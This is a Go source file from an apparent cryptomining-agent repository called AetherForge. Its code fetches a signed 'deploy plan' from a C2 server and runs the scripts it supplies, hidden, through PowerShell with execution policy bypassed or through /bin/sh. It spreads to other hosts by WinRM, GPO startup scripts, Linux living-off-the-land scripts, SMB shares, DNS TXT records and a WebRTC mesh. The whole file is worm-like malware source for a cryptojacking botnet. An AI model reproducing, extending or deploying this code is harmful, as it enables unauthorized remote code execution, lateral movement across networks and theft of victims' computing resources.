Files
AetherForge/agent/deploy/discover_join.go
AetherForge f55ee47089
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add ssm_document spread lane for owned EC2 via SSM Run Command.
2026-06-07 09:56:14 -07:00

450 lines
15 KiB
Go

package deploy
import (
"crypto/hmac"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"runtime"
"strings"
"crypto-miner-agent/config"
)
// SpreadRouteHint is the server BGP-style spread route recommendation.
type SpreadRouteHint struct {
TargetSubnet string `json:"target_subnet"`
SeedAgentID string `json:"seed_agent_id"`
SeedAgentName string `json:"seed_agent_name,omitempty"`
EgressAgentID string `json:"egress_agent_id"`
EgressHopIndex int `json:"egress_hop_index,omitempty"`
SessionID string `json:"session_id,omitempty"`
JoinLane string `json:"join_lane,omitempty"`
Score float64 `json:"score,omitempty"`
ClearanceLevel int `json:"clearance_level,omitempty"`
SwarmMagnet string `json:"swarm_magnet,omitempty"`
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
RouteVia string `json:"route_via,omitempty"`
}
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
type WebRTCMeshPlanBody struct {
STUNServers []string `json:"stun_servers,omitempty"`
SignalingRelay string `json:"signaling_relay,omitempty"`
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
SeederAgentID string `json:"seeder_agent_id,omitempty"`
RotationHours int `json:"rotation_hours,omitempty"`
IsSeeder bool `json:"is_seeder,omitempty"`
}
// DeployPlanBody is the HMAC-signed payload from POST /api/v1/agent/deploy-plan.
type DeployPlanBody struct {
JoinLane string `json:"join_lane"`
MatchedService string `json:"matched_service,omitempty"`
Action string `json:"action"`
Manifest *StagingManifest `json:"manifest,omitempty"`
PeerGroup string `json:"peer_group,omitempty"`
CacheGroup string `json:"cache_group,omitempty"`
DNSTXTZone string `json:"dns_txt_zone,omitempty"`
DNSTXTRecords []string `json:"dns_txt_records,omitempty"`
DNSTXTShards []int `json:"dns_txt_shards,omitempty"`
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
WebRTCMesh *WebRTCMeshPlanBody `json:"webrtc_mesh,omitempty"`
Script string `json:"script,omitempty"`
UNCPath string `json:"unc_path,omitempty"`
MaxHosts int `json:"max_hosts,omitempty"`
ImageTarURL string `json:"image_tar_url,omitempty"`
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
SpreadRouteHint *SpreadRouteHint `json:"spread_route_hint,omitempty"`
ErasurePlan *ErasurePlanBody `json:"erasure_plan,omitempty"`
}
// DeployPlanResponse is returned by the C2 deploy-plan endpoint.
type DeployPlanResponse struct {
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
JoinLane string `json:"join_lane"`
MatchedService string `json:"matched_service,omitempty"`
Plan DeployPlanBody `json:"plan"`
Signature string `json:"signature"`
}
// VerifyDeployPlanSignature validates fleet-secret HMAC over the plan body.
func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool {
if fleetSecret == "" || signature == "" {
return false
}
payload, err := json.Marshal(plan)
if err != nil {
return false
}
mac := hmac.New(sha256.New, []byte(fleetSecret))
mac.Write(payload)
expected := hex.EncodeToString(mac.Sum(nil))
return hmac.Equal([]byte(expected), []byte(signature))
}
// ExecuteDeployPlan runs the signed supply-chain join lane from the server.
func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, error) {
return ExecuteDeployPlanAs(cfg, plan, "")
}
// ExecuteDeployPlanAs runs a deploy plan honoring spread_route_hint for the executor agent.
func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executorAgentID string) (string, error) {
lane := strings.TrimSpace(plan.JoinLane)
if lane == "" {
lane = strings.TrimSpace(plan.Action)
}
if deferMsg, deferOK := routedEgressDeferral(plan, executorAgentID, lane); deferOK {
return deferMsg, nil
}
tryPrimary := func(run func() (string, error)) (string, error) {
msg, err := run()
if err == nil {
return msg, nil
}
if plan.ErasurePlan != nil && plan.ErasurePlan.Enabled && config.ErasureLanesEnabled(cfg) {
if config.FleetTorrentEnabled(cfg) {
c2 := c2BaseFromPlan(plan)
localIP, _ := PrimaryLocalIPv4()
if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP)); eErr == nil {
return em + " (primary lane failed: " + err.Error() + ")", nil
}
}
if em, eErr := RunErasureStaging(cfg, *plan.ErasurePlan); eErr == nil {
return em + " (primary lane failed: " + err.Error() + ")", nil
}
}
return "", err
}
switch lane {
case "do_peer":
if plan.Manifest == nil {
return "", fmt.Errorf("join lane do_peer requires staging manifest")
}
peer := strings.TrimSpace(plan.PeerGroup)
if peer == "" {
peer = strings.TrimSpace(plan.Manifest.PeerGroup)
}
return tryPrimary(func() (string, error) {
return RunDOPeerStaging(cfg, DOPeerFromStagingManifest(*plan.Manifest, peer))
})
case "wsus_cache_peer":
if plan.Manifest == nil {
return "", fmt.Errorf("join lane wsus_cache_peer requires staging manifest")
}
group := strings.TrimSpace(plan.CacheGroup)
if group == "" {
group = strings.TrimSpace(plan.Manifest.CacheGroup)
}
return tryPrimary(func() (string, error) {
return RunWSUSCachePeerStaging(cfg, WSUSCachePeerFromStagingManifest(*plan.Manifest, group))
})
case "dns_txt":
if plan.Manifest == nil {
return "", fmt.Errorf("join lane dns_txt requires staging manifest")
}
zone := strings.TrimSpace(plan.DNSTXTZone)
if zone == "" {
zone = strings.TrimSpace(plan.Manifest.DNSZone)
}
ttl := plan.TTLRefreshSec
if ttl == 0 {
ttl = plan.Manifest.TTLRefreshSec
}
return tryPrimary(func() (string, error) {
return RunDNSTXTStaging(cfg, DNSTXTFromStagingManifest(*plan.Manifest, zone, plan.DNSTXTRecords, plan.DNSTXTShards, ttl))
})
case "webrtc_mesh":
if plan.Manifest == nil {
return "", fmt.Errorf("join lane webrtc_mesh requires staging manifest")
}
policy := WebRTCMeshPolicy{RotationHours: DefaultWebRTCRotationHours}
if plan.WebRTCMesh != nil {
policy = WebRTCMeshPolicy{
STUNServers: plan.WebRTCMesh.STUNServers,
SignalingRelay: plan.WebRTCMesh.SignalingRelay,
LANFallbackURL: plan.WebRTCMesh.LANFallbackURL,
SeederAgentID: plan.WebRTCMesh.SeederAgentID,
RotationHours: plan.WebRTCMesh.RotationHours,
IsSeeder: plan.WebRTCMesh.IsSeeder,
}
}
if policy.RotationHours <= 0 {
policy.RotationHours = DefaultWebRTCRotationHours
}
execID := strings.TrimSpace(executorAgentID)
if execID != "" {
if plan.SpreadRouteHint != nil && strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID) == execID {
policy.IsSeeder = true
}
if plan.WebRTCMesh != nil && strings.TrimSpace(plan.WebRTCMesh.SeederAgentID) == execID {
policy.IsSeeder = true
}
}
if !policy.IsSeeder {
if seeder := PreferredLANSeeder(); seeder != nil {
ApplyLANSeederToWebRTC(&policy, seeder)
}
}
return tryPrimary(func() (string, error) {
return RunWebRTCMeshStaging(cfg, WebRTCMeshManifest{
Policy: policy,
SHA256: plan.Manifest.SHA256,
Dest: plan.Manifest.Dest,
Launch: plan.Manifest.Launch,
DLLExport: plan.Manifest.DLLExport,
DeferMining: plan.Manifest.DeferMining,
SpreadInstall: plan.Manifest.SpreadInstall,
})
})
case "bits_curl", "docker_load":
if plan.Manifest == nil {
return "", fmt.Errorf("join lane %s requires staging manifest", lane)
}
return tryPrimary(func() (string, error) {
msg, err := RunStagingChain(cfg, *plan.Manifest)
if err != nil {
return "", err
}
if lane == "docker_load" && plan.ImageTarURL != "" {
msg += "; docker_load image=" + plan.ImageTarURL
}
return msg, nil
})
case "winrm":
if err := runJoinScript(plan.Script, true); err != nil {
return "", err
}
return "winrm bootstrap script executed", nil
case "gpo":
if err := runJoinScript(plan.Script, true); err != nil {
return "", err
}
return "gpo startup script executed", nil
case "linux_lotl":
if err := runJoinScript(plan.Script, false); err != nil {
return "", err
}
return "linux lotl bootstrap executed", nil
case "spread_smb_unc":
unc := strings.TrimSpace(plan.UNCPath)
if unc == "" {
return "", fmt.Errorf("spread_smb_unc requires unc_path in plan")
}
max := plan.MaxHosts
if max <= 0 {
max = 64
}
msg := RunSMBUNCSpread(cfg, SMBUNCSpreadOpts{UNCPath: unc, MaxHosts: max})
return msg, nil
default:
return "", fmt.Errorf("unsupported join lane %q", lane)
}
}
func c2BaseFromPlan(plan DeployPlanBody) string {
if plan.ErasurePlan == nil || len(plan.ErasurePlan.Shards) == 0 {
return ""
}
for _, ref := range plan.ErasurePlan.Shards {
u := strings.TrimSpace(ref.URL)
if u == "" || !strings.HasPrefix(u, "http") {
continue
}
if idx := strings.Index(u, "/api/v1/public/erasure-shard/"); idx > 0 {
return strings.TrimRight(u[:idx], "/")
}
}
return ""
}
func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (string, bool) {
if plan.SpreadRouteHint == nil || strings.TrimSpace(executorAgentID) == "" {
return "", false
}
egress := strings.TrimSpace(plan.SpreadRouteHint.EgressAgentID)
if egress == "" || egress == executorAgentID {
return "", false
}
switch lane {
case "spread_smb_unc", "winrm", "gpo", "linux_lotl":
return fmt.Sprintf(
"spread_route_hint: egress=%s seed=%s subnet=%s (deferred ΓÇö routed egress, not patient zero)",
egress,
strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID),
strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet),
), true
default:
return "", false
}
}
func runJoinScript(script string, windows bool) error {
script = strings.TrimSpace(script)
if script == "" {
return fmt.Errorf("empty join script")
}
if windows || runtime.GOOS == "windows" {
return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
}
return HiddenRun("/bin/sh", "-c", script)
}
// ServicesForDeployPlan converts local service graph entries into deploy-plan findings.
func ServicesForDeployPlan(result ServiceDiscoverResult) []DeployServiceFinding {
var out []DeployServiceFinding
appendHost := func(host ServiceGraphHost) {
for _, svc := range host.Services {
name := strings.TrimSpace(svc.ServiceName)
if name == "" {
continue
}
out = append(out, DeployServiceFinding{
Name: name,
Status: serviceStatusForPlan(svc),
DisplayName: name,
})
}
}
appendHost(result.Local)
for _, h := range result.LANHosts {
appendHost(h)
}
return out
}
// DeployServiceFinding mirrors the server deploy-plan request service row.
type DeployServiceFinding struct {
Name string `json:"name"`
DisplayName string `json:"display_name,omitempty"`
Status string `json:"status"`
StartType string `json:"start_type,omitempty"`
}
// PickLocalJoinLane chooses the best local join lane candidate from discovery JSON.
func PickLocalJoinLane(discoveryJSON string) string {
result, err := ParseServiceDiscoverJSON(discoveryJSON)
if err != nil {
return ""
}
var best string
for _, svc := range result.Local.Services {
lane := strings.TrimSpace(svc.JoinLaneCandidate)
if lane == "" {
lane = JoinLaneForSignal(svc.ServiceName, svc.Port)
}
if lane != "" {
best = lane
}
}
return best
}
// RunDiscoverAndJoin performs service discovery, fetches a signed plan, and executes it.
// fetchPlan is injected for tests.
type DeployPlanFetcher func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error)
func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
return RunDiscoverAndJoinAs(cfg, maxLANHosts, "", fetchPlan)
}
func RunDiscoverAndJoinAs(cfg config.RuntimeConfig, maxLANHosts int, executorAgentID string, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
raw := RunServiceDiscoverForJoin(maxLANHosts)
result, parseErr := ParseServiceDiscoverJSON(raw)
if parseErr != nil {
return "", "", fmt.Errorf("parse discovery: %w", parseErr)
}
services := ServicesForDeployPlan(result)
if len(services) == 0 {
return "", "", fmt.Errorf("no services discovered")
}
uncPath := firstSMBShareUNC(result)
resp, err := fetchPlan(services, uncPath)
if err != nil {
return "", "", err
}
if !resp.OK && resp.Error != "" {
return "", "", fmt.Errorf("%s", resp.Error)
}
if resp.JoinLane == "" && resp.Plan.JoinLane == "" {
return "", "", fmt.Errorf("no allowlisted running services matched")
}
if !VerifyDeployPlanSignature(resp.Plan, resp.Signature, cfg.FleetSecret) {
return "", "", fmt.Errorf("deploy plan signature invalid")
}
joinLane = resp.JoinLane
if joinLane == "" {
joinLane = resp.Plan.JoinLane
}
if cfg.ScoutMode {
return joinLane, "scout: join lane mapped (no payload staging)", nil
}
msg, err := ExecuteDeployPlanAs(cfg, resp.Plan, executorAgentID)
if err != nil {
return joinLane, "", err
}
if resp.Plan.SpreadRouteHint != nil && strings.TrimSpace(resp.Plan.SpreadRouteHint.EgressAgentID) != "" {
msg = appendSpreadRouteTelemetry(msg, resp.Plan.SpreadRouteHint)
}
return joinLane, msg, nil
}
func appendSpreadRouteTelemetry(detail string, hint *SpreadRouteHint) string {
if hint == nil {
return detail
}
routeNote := fmt.Sprintf("route_hint egress=%s seed=%s score=%.2f",
strings.TrimSpace(hint.EgressAgentID),
strings.TrimSpace(hint.SeedAgentID),
hint.Score,
)
if via := strings.TrimSpace(hint.RouteVia); via != "" {
routeNote += "; route_via=" + via
}
if detail == "" {
return routeNote
}
return detail + "; " + routeNote
}
// runServiceDiscoverFn allows tests to stub discovery output.
var runServiceDiscoverFn func(maxLANHosts int) string
func RunServiceDiscoverForJoin(maxLANHosts int) string {
if runServiceDiscoverFn != nil {
return runServiceDiscoverFn(maxLANHosts)
}
return RunServiceDiscover(maxLANHosts)
}
func firstSMBShareUNC(result ServiceDiscoverResult) string {
for _, h := range result.LANHosts {
for _, svc := range h.Services {
name := strings.ToLower(svc.ServiceName)
if strings.HasPrefix(name, "smb-share:") {
share := strings.TrimPrefix(svc.ServiceName, "smb-share:")
if share != "" && h.Host != "" {
return `\\` + h.Host + `\` + share
}
}
}
}
return ""
}
func serviceStatusForPlan(svc ServiceGraphEntry) string {
if st := strings.TrimSpace(svc.Status); st != "" {
return st
}
switch svc.Source {
case "lan_port", "smb_share", "passive_hint":
return "running"
default:
return "running"
}
}